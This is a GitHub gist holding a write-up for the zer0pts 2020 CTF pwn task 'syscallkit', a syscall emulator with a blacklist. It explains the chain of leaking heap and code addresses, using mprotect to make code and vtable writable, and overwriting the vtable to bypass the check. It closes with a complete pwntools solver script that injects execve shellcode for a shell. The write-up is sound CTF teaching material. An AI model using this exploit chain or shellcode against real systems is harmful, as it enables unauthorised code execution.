Skip to content

Instantly share code, notes, and snippets.

@Stfort52
Last active August 19, 2021 07:05
Show Gist options
  • Select an option

  • Save Stfort52/3aa9573384b63d363f6ce19e75d1a648 to your computer and use it in GitHub Desktop.

Select an option

Save Stfort52/3aa9573384b63d363f6ce19e75d1a648 to your computer and use it in GitHub Desktop.
zer0pts 2020 Syscallkit

zer0pts2020/syscallkit

this is a zer0pts2020 writeup for the pwn task syscallkit.

problem

we are provided with binary called chall and its source code main.cpp. It's basically a system-call emulator, which lets you execute some system calls directly. But there are two limitations about it. Firstly, you can only execute system calls that it allows. juicy system calls like read, write...or execve is not allowed. Secondly, you can only execute 10 system calls.

goal

It's pwn problem. Besides getting a shell, what are you trying to do?

analysis

First things first, let's take a look at their blacklist.

int  Emulator::check() {
    if (this->rax >= 0x40000000) return  1; // x32 ABI is dangerous!
    if (this->rax == SYS_open) return  1; // never open files
    if (this->rax == SYS_openat) return  1;
    if (this->rax == SYS_write) return  1; // no more leak
    if (this->rax == SYS_read) return  1; // no more overwrite
    if (this->rax == SYS_sendfile) return  1;
    if (this->rax == SYS_execve) return  1; // of course not!
    if (this->rax == SYS_execveat) return  1;
    if (this->rax == SYS_ptrace) return  1; // may ruine the program
    if (this->rax == SYS_fork) return  1;
    if (this->rax == SYS_vfork) return  1;
    if (this->rax == SYS_clone) return  1;
    return 0;
}

eww. Now please take a look at it's security measures. btw look at "may ruine the program". It makes me feel bad.

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

eww again. Let's take a look at the actual syscalling part.

void  Emulator::syscall() {
    asm  volatile ("movq %0, %%rdi":: "a"(this->rdi));
    asm  volatile ("movq %0, %%rsi":: "a"(this->rsi));
    asm  volatile ("movq %0, %%rdx":: "a"(this->rdx));
    asm  volatile ("movq %0, %%rax":: "a"(this->rax));
    asm  volatile ("syscall");
    asm  volatile ("movq %%rax, %0": "=a"(this->rax));
}

As you can see, it's going to be tricky to call syscalls with complex arguments, such as mmap().

solution

tl;dr

  1. brk(0) => heap leak
  2. writev(1,vtableptr, 1) => code leak
  3. mprotect(.text, size, RWX)
  4. mprotect(vtable, size, RWX)
  5. readv(0,vtableptr, 1) => overwrite vtable to bypass check
  6. read(0, Emulate::syscall, sizeof(shellcode))
  7. Calling any syscall grants a shell. :D

  1. We cannot utilize most of the syscalls if we don't know any address. So we used the brk() system call to get the program limit. Then we can calculate the program's heap address. As the Emulator class is created via the new keyword, there, we can find the Emulator Class' vtable pointer.
  2. Then we can use this heap address to get a code leak. By locating the vtable for the Emulator from the vtable pointer on the heap, we can get a heap leak!
  3. But reading and writing can be tricky. Thankfully, there are vector I/O system calls like readv() and writev(). We can utilize these alternatives in some special cases.
  4. After all, we need to alter the code execution. So, we decided to use mprotect() to allow the overwriting of the dangerous sections such as GOT or vtable.
  5. Then, we overwritten vtable entry of Emulate::check to Emulate::syscall, so that we can bypass Emulate::check.
  6. We can do anything from there. How about writing a shellcode at Emulate::syscall?

Please Refer to the solver.py for the detailed payload.

from pwn import *
context.terminal = "tmux splitw -h".split(" ")
context.log_level="debug"
p =process("chall")
#p=gdb.debug("./chall")
#p=remote("13.231.207.73",9006)
def syscall(rax, rdi, rsi, rdx, Input=None):
p.sendlineafter("call:",str(rax))
p.sendlineafter("arg1:",str(rdi))
p.sendlineafter("arg2:",str(rsi))
p.sendlineafter("arg3:",str(rdx))
p.recvuntil("=========================\n")
if Input:
p.send(Input)
recv = p.recvuntil("retval: ").strip("retval: ")
retval = int(p.recvuntil("=========================").strip("=").strip("\n"),16)
return recv, retval
_, limit = syscall(12,0,0,0) #brk, get heap limit
print("limit:{}".format(hex(limit)))
vtableptr = limit - 0xf1a0 + 0x10
recv, _ = syscall(20,1, vtableptr, 1)#get vtable address from heap using writev()
codebase = u64(recv[:8])- 0x1114
print("codebase:{}".format(hex(codebase)))
print("vtableptr:{}".format(hex(vtableptr)))
syscall(10, codebase, 0x2000, 7) #use mprotect, make code section rwx
syscall(10, codebase+0x202000, 0x1000, 7) #use mprotect, make vtable rwx
payload=p64(codebase+0x1114)+p64(codebase+0x1290)
syscall(19, 0,vtableptr,1,payload) #using readv(), overwrite vtable of Emulate::check with Emulate::syscall
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
p.sendlineafter("call:","0") #now use normal read() to overwrite Emulate::syscall to shellcode
p.sendlineafter("arg1:","0")
p.sendlineafter("arg2:",str(codebase+0x1290+1))
p.sendlineafter("arg3:","27")
p.recvuntil("=========================\n")
p.send(shellcode)
p.interactive() #call any syscall in interactive mode to get the shell
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment